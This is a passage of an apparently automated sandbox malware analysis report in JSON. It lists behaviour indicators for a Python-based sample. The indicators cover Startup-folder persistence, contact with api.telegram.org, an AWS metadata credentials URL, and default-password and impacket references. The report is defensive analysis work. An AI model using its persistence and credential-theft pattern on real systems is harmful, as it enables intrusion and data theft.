trying to access non-existent file \"C:\\%NVM_SYMLINK%\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"python.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\programs\\python\\python311\\lib\\__pycache__\\pty.cpython-311.pyc.2291914889600\"\n \"python.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\programs\\python\\python311\\lib\\__pycache__\\tty.cpython-311.pyc.2291914890896\"\n \"python.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\programs\\python\\python311\\lib\\unittest\\__pycache__\\mock.cpython-311.pyc.2291916405968\"\n \"python.exe\" writes file \"c:\\users\\%osuser%\\.k9.deps\"\n \"python.exe\" writes file \"c:\\users\\%osuser%\\.k9.id\"\n \"python.exe\" writes file \"c:\\users\\%osuser%\\.k9.json\"\n \"python.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\sslkey.txt\"\n \"python.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\caches\\svc.py\"\n \"python.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\svc.pyw\"\n \"python.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\od65krvz\"\n \"python.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\.k9.guard\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"Found reference to API \"WNetCancelConnection2W\" (Indicator: \"WNetCancelConnection\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")\n Found reference to API \"WNetAddConnection2W\" (Indicator: \"WNetAddConnection\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-923","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"$60","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetAddConnection2W\" (Indicator: \"NetAddConnection\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Detects NETSH process execution","description":"$61","origin":"Monitored Target","mitre_attack_id":"T1686","relevance":2,"id":"target-186","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"%localappdata%\\programs\\python\\python311\\lib\\site-packages\\dns/rdtypes/any\\__pycache__\\mx.cpython-311.pyc.24061427\" [Source: 00000000-00007600-00000C59-1524252461]\n Observed email domain:\"%localappdata%\\programs\\python\\python311\\lib\\site-packages\\dns/rdtypes/any\\__pycache__\\mx.cpython-311.pyc\" [Source: 00000000-00007600-00000C59-1524252461]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"169.254.169.254\" found in string \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n \"2.5.29.37\"\n \"2.5.29.35\"\n \"192.168.0.2\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"$62","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$63","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"files.pythonhosted.org\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 5659c10619c455ea477287b12cf3f7e7","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"References OpenSSL library string","description":"$64","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-5003","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"$65","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"raw.githubusercontent.com\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"User Agent string indicates scripted web access","description":"Found scripted User Agent pip/26.2.1 {\"ci\":null\n\"cpu\":\"amd64\"\n\"implementation\":{\"name\":\"cpython\"\n\"version\":\"3.11.0\"}\n\"installer\":{\"name\":\"pip\"\n\"version\":\"26.2.1\"}\n\"openssl_version\":\"openssl 1.1.1q 5 jul 2022\"\n\"python\":\"3.11.0\"\n\"setuptools_version\":\"80.10.2\"\n\"system\":{\"name\":\"windows\"\n\"release\":\"10\"}}","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-103","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"151.101.0.223\" on port \"443\"\n HTTPS traffic to \"151.101.128.223\" on port \"443\"\n HTTPS traffic to \"149.154.166.110\" on port \"443\"\n HTTPS traffic to \"185.199.109.133\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Ransomware/Banking","name":"Attempts to rename multiple files with a new extension, avoiding critical system files","description":"\"python.exe\" appended encryption extension \".pyc\" to 10+ files (.2291914889600, .2291914890896, .2291916405968, .2406142193392, .2406142194448, .2406155263424, .2406156789360, .2406156789552) — SELECTIVE EXCLUSION: no system file types or protected directories touched","origin":"API Call","mitre_attack_id":"T1679","relevance":1,"id":"api-325","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Remote Access Related","name":"Able to use IDE tunneling for remote connection","description":"file/memory contains long string with (Indicator: \" ssh \"; File: \"paramiko-5.1.0-py3-none-any.whl.metadata\")","origin":"File/Memory","mitre_attack_id":"T1219","relevance":1,"id":"string-883","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLEA3C09821DEA603838A3A6BFB5AF4]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001508.00000000.180396.C80B0000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001508.00000000.180396.C80B0000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLEA3C09821DEA603838A3A6BFB5AF4]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001520.00000000.180024.6A490000.00000004.mdmp, 00000000-00001520.00000000.180024.6A4D4000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001520.00000000.180024.6A490000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEA3C09821DEA603838A3A6BFB5AF4]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001520.00000000.180024.6A490000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEC666431736C5F42C78AA6BC482C1]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001520.00000000.180024.6A4D4000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to SFTP or FTPS file transfer","description":"file/memory contains long string with (Indicator: \"sftp.\"; File: \"bca89331ccd256c7bceb619eae9403cb783a2abfa140b99b7dac66a2.bodym_8u6hb2.tmp\")","origin":"File/Memory","mitre_attack_id":"T1048.002","relevance":1,"id":"string-724","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"file/memory contains long string with (Indicator: \"kerberos\"; File: \"impacket-0.13.1-py3-none-any.whl.metadata\")\n Found string \"%LOCALAPPDATA%\\Programs\\Python\\Python311\\Lib\\site-packages\\ldap3/protocol/sasl\\__pycache__\\kerberos.cpython-311.py\" (Indicator: \"kerberos\"; Source: \"00000000-00007600-00000C59-1531680433\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001508.00000000.180396.C80B0000.00000004.mdmp\")\n Found string \"KERBEROS:\" (Indicator: \"kerberos\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found string \"CoSetProxyBlanket(-, RPC_C_AUTHN_GSS_KERBEROS,RPC_C_AUTHZ_NONE, %s, %d, %d, -, EOAC_NONE)\" (Indicator: \"kerberos\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; Source: \"00000000-00001896.00000000.181826.ED900000.00000004.mdmp\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; Source: \"00000000-00001896.00000000.181826.ED900000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$66","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetUserNameExW\" (Indicator: \"GetUserName\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$67","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"python.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"WMIC.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"WMIC.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}\n \"netsh.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"WMIC.exe\" called \"GetComputerNameW\" (UID: 00000000-00001520)\n \"WMIC.exe\" called \"GetComputerNameW\" (UID: 00000000-00001508)\n \"WMIC.exe\" called \"GetComputerNameW\" (UID: 00000000-00004424)\n \"WMIC.exe\" called \"GetComputerNameW\" (UID: 00000000-00004700)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$68","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"GetModuleHandle failed\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetTempPathW\" (Indicator: \"GetTempPath\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"GetTempFileNameW\" (Indicator: \"GetTempFileName\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"GetFileSize\" (Indicator: \"GetFileSize\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"GetFileSizeEx\" (Indicator: \"GetFileSize\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"GetSystemDirectoryW\" (Indicator: \"GetSystemDirectory\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"WHERE SchemaOnly\" (Indicator: \"where \"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"K32GetModuleFileNameExW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$69","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyExW\" in \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"del\" (Indicator: \"del\") in Source: 00000000-00001520.00000000.180024.6A4CB000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeBackupPrivilege\" (Indicator: \"SeBackupPrivilege\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"CreateWellKnownSid\" (Indicator: \"CreateWellKnownSid\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeRestorePrivilege\" (Indicator: \"SeRestorePrivilege\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001164.00000000.183356.72670000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"$6b","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"python.exe\" opened \"\\Device\\KsecDD\"\n \"cmd.exe\" opened \"\\Device\\KsecDD\"\n \"WMIC.exe\" opened \"\\Device\\KsecDD\"\n \"netsh.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$6c","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$6d","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00001520.00000000.180024.629B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$6e","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$6f","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"file/memory contains long string with (Indicator: \"regsys\"; File: \"urlref_httpsraw.githubusercontent.comdanielmiesslerSecListsmasterPasswordsDefault-Credentialsdefault-passwords.txt\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Environment Awareness","name":"Attempts to retrieve geographical location information","description":"\"python.exe\" called \"getaddrinfo\" with parameters {\"pNodeName\": \"api.telegram.org\"\n \"pServiceName\": \"443\"\n \"pHints\": \"63d8feeb00\"\n \"ppResult\": \"b0570fa115020000\"}\n \"python.exe\" called \"getaddrinfo\" with parameters {\"pNodeName\": \"raw.githubusercontent.com\"\n \"pServiceName\": \"443\"\n \"pHints\": \"63d999ecb0\"\n \"ppResult\": \"004553a015020000\"}\n \"python.exe\" called \"getaddrinfo\" with parameters {\"pNodeName\": \"api.telegram.org\"\n \"pServiceName\": \"443\"\n \"pHints\": \"63d9d7ede0\"\n \"ppResult\": \"c08053a015020000\"}\n \"python.exe\" called \"getaddrinfo\" with parameters {\"pNodeName\": \"raw.githubusercontent.com\"\n \"pServiceName\": \"443\"\n \"pHints\": \"63d999ecb0\"\n \"ppResult\": \"804653a015020000\"}\n \"python.exe\" called \"getaddrinfo\" with parameters {\"pNodeName\": \"pypi.org\"\n \"pServiceName\": \"443\"\n \"pHints\": \"d7177ec410\"\n \"ppResult\": \"800f8a3830020000\"}\n \"python.exe\" called \"getaddrinfo\" with parameters {\"pNodeName\": \"files.pythonhosted.org\"\n \"pServiceName\": \"443\"\n \"pHints\": \"d7177ebf40\"\n \"ppResult\": \"P!\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-308","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Environment Awareness","name":"Executes WMI queries known 